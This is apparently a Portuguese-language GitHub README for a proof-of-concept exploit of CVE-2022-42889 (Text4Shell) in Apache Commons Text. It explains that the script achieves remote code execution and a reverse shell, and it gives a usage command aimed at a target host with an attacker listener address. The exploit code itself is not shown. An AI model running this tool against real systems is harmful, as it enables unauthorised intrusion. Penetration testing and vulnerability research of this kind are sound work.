goultarde/cve-2022-42889-text4shell
Prova de Conceito (PoC) para CVE-2022-42889 (Text4Shell) visando versões do Apache Commons Text anteriores a 1.10.0. Este script automatiza a Execução Remota de Código (RCE) por meio de interpolação de script para estabelecer um shell reverso. Esta versão é uma otimização estruturada baseada na exploração original encontrada no Exploit-DB (ID: 52261).
Este script é uma ferramenta de teste de penetração projetada para explorar a vulnerabilidade CVE-2022-42889, também conhecida como Text4Shell, no Apache Commons Text (versões < 1.10.0). Ele automatiza a entrega de um payload baseado em Java para acionar uma shell reversa.
Esta implementação é baseada no exploit público: https://www.exploit-db.com/exploits/52261
O script requer Python 3 e a biblioteca requests.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados. O autor não se responsabiliza por qualquer uso indevido ou danos causados por este script.